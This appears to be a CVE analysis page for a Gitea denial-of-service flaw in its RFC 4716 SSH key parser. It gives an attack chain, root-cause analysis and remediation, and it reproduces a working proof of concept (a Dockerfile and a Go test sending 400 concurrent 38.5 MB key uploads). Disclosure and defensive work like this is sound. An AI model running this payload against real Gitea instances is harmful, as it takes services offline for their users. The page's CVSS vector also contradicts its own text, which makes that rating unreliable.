Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain any valid Gitea user credential or register new account
-
DeliveryCraft RFC 4716 SSH2 key with 400K+ padding lines (~38 MB)
-
ExploitPOST crafted key to /api/v1/user/keys with Bearer token
-
ExecutionTrigger O(N²) string concatenation in parseKeyString
-
PersistHeap memory exhausted by quadratic allocations
-
ImpactGitea process killed by OOM, instance taken offline
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid authenticated session or API Bearer token for any Gitea user account - no elevated privileges, administrative rights, or special group membership are needed. The vulnerable code path is reachable via the standard SSH key registration feature (POST /api/v1/user/keys), which is enabled by default in Gitea installations that support SSH access. On instances with open user registration, an attacker can self-register an account to satisfy the authentication requirement with no prior access. Exploitation is limited by: (1) mandatory user authentication - unauthenticated requests cannot trigger the flaw; (2) the Gitea instance must have SSH key management enabled (the default); and (3) maximum impact requires concurrent request volume, though a single sufficiently large payload can also exhaust resources given enough server RAM. |
| Impact | No official CVSS score was assigned, so risk is assessed from the vulnerability description, exploitation mechanics, and PoC evidence. Attack vector is network, complexity is low, and only a standard authenticated session is required - no elevated privileges or special roles. The impact is complete availability loss: the PoC demonstrates that 400 concurrent workers each submitting a 38.5 MB payload can exhaust a 12 GB container within one second. This is not a high-CVSS-but-low-real-world-risk scenario - the PoC is fully packaged, the preconditions are minimal, and the operational impact (full service outage for a source-control platform) is severe. EPSS data is absent for this CVE, but the low barrier to exploitation suggests a meaningful probability of near-term targeting. The primary mitigating factor is that unauthenticated exploitation is not possible; however, on Gitea instances with open registration, account acquisition is trivial. No CISA KEV listing exists at time of analysis, so confirmed in-the-wild exploitation has not been reported. |
| Exploit ScenarioDerived | An attacker registers or compromises any Gitea user account, then issues a POST request to /api/v1/user/keys with a Bearer token and a JSON body containing a well-formed SSH2 header followed by 400,000 lines of 100-character padding (~38.5 MB total). A single such request triggers the O(N²) allocator in parseKeyString and can consume tens of gigabytes of heap on the server; dispatching a few hundred concurrent requests amplifies the effect to exhaust even well-provisioned servers in under one second. A Docker-packaged, end-to-end functional PoC is documented in the Gitea security advisory and can be run with a single |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 21, 2026
Remote denial-of-service in Gitea versions prior to 1.27.0 allows any authenticated user to crash the server by exploiting an O(N²) string concatenation flaw in the RFC 4716 SSH key parser. Submitting a single crafted SSH2 public key with hundreds of thousands of short content lines forces quadratic heap allocation that exhausts CPU and RAM within seconds, taking the entire Gitea instance offline. A functional, Docker-packaged proof-of-concept is publicly available per the Gitea security advisory; no active exploitation has been confirmed in CISA KEV, but the trivially low barrier - any valid user account suffices - elevates real-world risk considerably.
RemediationAI
Upgrade to Gitea 1.27.0, which resolves the O(N²) parser flaw. The release is available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. For installations that cannot immediately upgrade, deploy a reverse proxy with a request body size limit ahead of the Gitea API - for example, nginx client_max_body_size 1m - to reject oversized key payloads before they reach parseKeyString; note that limits set too aggressively may block legitimate large SSH or PGP key submissions, so tune carefully. Additionally, rate-limit POST /api/v1/user/keys per token or IP at the proxy layer to reduce the concurrent-amplification scenario demonstrated in the PoC. If SSH key self-registration by ordinary users is not operationally required, disabling that feature in Gitea's admin settings eliminates the attack surface entirely. On publicly accessible instances with open registration, tightening registration controls (invite-only or admin-approved accounts) removes the easiest path to obtaining the authenticated session needed to exploit the flaw.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gitea (pkg:go/code.gitea.io/gitea) is a self-hosted Git service written in Go. The SSH key ingestion flow at POST /api/v1/user/keys calls CreateUserPublicKey → CheckPublicKeyString → parseKeyString (models/asymkey/ssh_key_parse.go:60-79). Within parseKeyString, the RFC 4716 (SSH2) branch accumulates key body lines via the Go idiom keyContent += line. Because Go strings are immutable, each concatenation allocates a new backing array equal to the full accumulated string and copies all existing data into it. For N input lines the total bytes allocated is N*(N+1)/2 - O(N²) in both time and heap. Critically, the validity check that would reject a non-key runs only after the full quadratic work completes, meaning the allocation storm cannot be short-circuited by early rejection. The root cause is CWE-400 (Uncontrolled Resource Consumption): neither the web form struct (services/forms/user_form.go:308-317) nor the API request struct (modules/structs/repo_key.go:33-49) enforces any payload size limit, leaving the parser exposed to arbitrarily large input.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Network-reachable API, low complexity, any authenticated user (PR:L); impact is total availability loss with no confidentiality or integrity effect.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
Lifecycle Timeline
1DescriptionCVE.org
Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.
Root Cause
An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines - for example, 400,000 lines of 100 characters each (~38 MB total).
The request reaches CreateUserPublicKey with no prior size check:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212
This calls CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79
Because Go strings are immutable, each += at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.
This is only possible because neither the web form field nor the API struct carries a size constraint:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49
PoC
To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:
poc/Dockerfile
FROM golang:1.26-alpine AS builder
RUN apk add --no-cache git build-base
WORKDIR /gitea
# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download
# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .
# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
-o /integration.test \
gitea.dev/tests/integration
# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22
# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git
COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea
RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea
WORKDIR /gitea
USER poc
ENTRYPOINT ["/integration.test", \
"-test.run", "TestDoSSSHKeyParserOOM", \
"-test.v", \
"-test.timeout", "600s"]tests/integration/poc_dos_test.go
package integration
import (
"fmt"
"runtime"
"runtime/debug"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
auth_model "gitea.dev/models/auth"
api "gitea.dev/modules/structs"
"gitea.dev/tests"
)
func TestDoSSSHKeyParserOOM(t *testing.T) {
defer tests.PrepareTestEnv(t)()
// Raise the GC trigger so intermediate strings accumulate faster,
// matching realistic server behaviour under sustained allocation load.
debug.SetGCPercent(400)
// Log in as an ordinary user - no special privileges needed.
session := loginUser(t, "user1")
token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)
const (
numLines = 400_000
charsPerLine = 100
numWorkers = 400
)
var sb strings.Builder
sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
sb.WriteString("Comment: dos\n")
line := strings.Repeat("a", charsPerLine) + "\n"
for i := 0; i < numLines; i++ {
sb.WriteString(line)
}
sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
payload := sb.String()
peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
t.Logf("payload=%.1f MB workers=%d peak_theory=%.1f GB",
float64(len(payload))/(1<<20), numWorkers, peakGB)
// Each goroutine marshals its own JSON body. The bytes live in req.Body
// for the entire duration of MakeRequest, so numWorkers concurrent
// goroutines hold numWorkers × payload_size bytes simultaneously.
// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
var (
wg sync.WaitGroup
done atomic.Int64
ready = make(chan struct{})
start = time.Now()
)
for i := 0; i < numWorkers; i++ {
wg.Add(1)
go func(id int) {
defer func() { done.Add(1); wg.Done() }()
<-ready
req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
Title: fmt.Sprintf("dos-%d", id),
Key: payload,
}).AddTokenAuth(token)
MakeRequest(t, req, NoExpectedStatus)
}(i)
}
go func() {
var ms runtime.MemStats
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for range ticker.C {
runtime.ReadMemStats(&ms)
t.Logf("[%4.0fs] done=%d/%d HeapSys=%.1f GB HeapAlloc=%.1f GB",
time.Since(start).Seconds(), done.Load(), numWorkers,
float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
}
}()
close(ready)
wg.Wait()
t.Logf("all done in %.1fs - container survived, increase numWorkers or numLines",
time.Since(start).Seconds())
}When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:
docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-pocWhich prints out:
=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
poc_dos_test.go:62: payload=38.5 MB workers=400 peak_theory=29.8 GB... demonstrating high memory consumption. On my end, memory is consumed within 1 second.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-58144
GHSA-4xjf-493q-98p3
NVD
CVE.org
EPSS
Exploit-DB